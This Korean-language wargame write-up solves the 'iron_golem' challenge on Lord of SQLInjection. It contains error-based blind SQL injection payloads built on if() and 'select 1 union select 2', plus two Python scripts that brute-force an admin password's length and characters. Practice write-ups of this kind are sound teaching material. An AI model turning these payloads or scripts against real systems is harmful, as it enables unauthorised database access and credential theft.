Lord of SQLInjection (iron_golem)
풀이
이번 문제에서 pw 파라미터에 대해 필터링 되는 문자는 prob _ . () sleep benchmark
와 같다. 지난 문제들과 다른 점은 exit 함수로 sql 에러 페이지를 보여주고, result[id] 결과 값을 echo로 출력해주지 않는다.
mysql 에서는 서칭을 해보니 SQL 에러가 나왔을 때, extractvalue
함수를 사용해서 두 번째 인자에 XPATH 표현식이 아니면 이를 쿼리를 실행해서 출력해주는 것 같다. 두 번째 인수 부분에 항상 유효하지 않은 표현식이 되도록 concat 함수와 0x3a를 이용할 수 있다. 아래와 같이 페이로드를 삽입하면 extractvalue의 두 번째 인자인 ‘hi’가 XPATH syntax error로 출력됐다.
' or extractvalue('1', concat(0x3a, 'hi'))-- -
%27%20or%20extractvalue(%271%27,%20concat(0x3a,%27hi%27))--%20-
hi 말고 다른 값도 출력되는지 테스트 해보려고 select (5*5)를 넣어서 요청해보니 25가 잘 출력되는 것을 확인할 수 있다. 근데 이 방법을 사용하면 테이블 이름을 사용해서 select를 하면 위에 있는 키워드 필터링 문자 때문에 이 방법으로 시도하는 건 아닌 것 같다..
' or extractvalue('1', concat(0x3a, (select (5*5))))-- -
다른 방법으로 오류를 낼 수 있는 방법으로 찾아야 하는데, 숫자 범위를 초과해서 넣거나, if 조건문을 이용해 (select 1 union select 2)으로 한 개의 데이터만 나와야 하는데 두 개의 데이터를 집어넣는 방식으로 오류를 낼 수 있다. 아래의 페이로드를 사용해서 pw의 길이를 구할 수 있는데, 거짓일 때는 응답값에 1 row 문자열을 찾아서 나오지 않을 때까지 파이썬 코드로 작성하면 된다.
' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))-- -
아래처럼 코드를 짜서 보내보면 패스워드 길이는 32인 것을 알 수 있다.
import requests
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = {"PHPSESSID": "r5plqc9119sdnc1s4nqo9e6rrl"}
password = ""
for i in range(0, 100):
param = {
"pw": f"' or id='admin' and if(length(pw)={i},1,(select 1 union select 2))-- -"
}
r = requests.get(url=url, cookies=cookie, params=param)
if "1 row" in r.text:
print("pass")
continue
else:
print(f"found! 패스워드 길이: {i}")
break
아래와 같이 쿠키 값을 넣어줘야 los 로그인 페이지로 리다이렉트가 되지 않고, 정상 응답 값에 strong 태그가 포함되어 있으므로 이를 기반으로 코드를 짜주면 admin 패스워드를 뽑아낼 수 있다.
import requests
import string
password_charset = string.ascii_letters + string.punctuation + string.digits
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = {"PHPSESSID": "r5plqc9119sdnc1s4nqo9e6rrl"}
password = ""
for i in range(1, 33):
for j in range(0, len(password_charset)):
param = {
"pw": f"' or id='admin' and if(substr(pw,{i},1)='{password_charset[j]}',1,(select 1 union select 2))-- -"
}
r = requests.get(url=url, cookies=cookie, params=param)
if "<strong>" in r.text:
found = True
password += password_charset[j]
print(f"패스워드 {i}번째 문자는 {password_charset[j]}입니다.")
break
print(password)
댓글남기기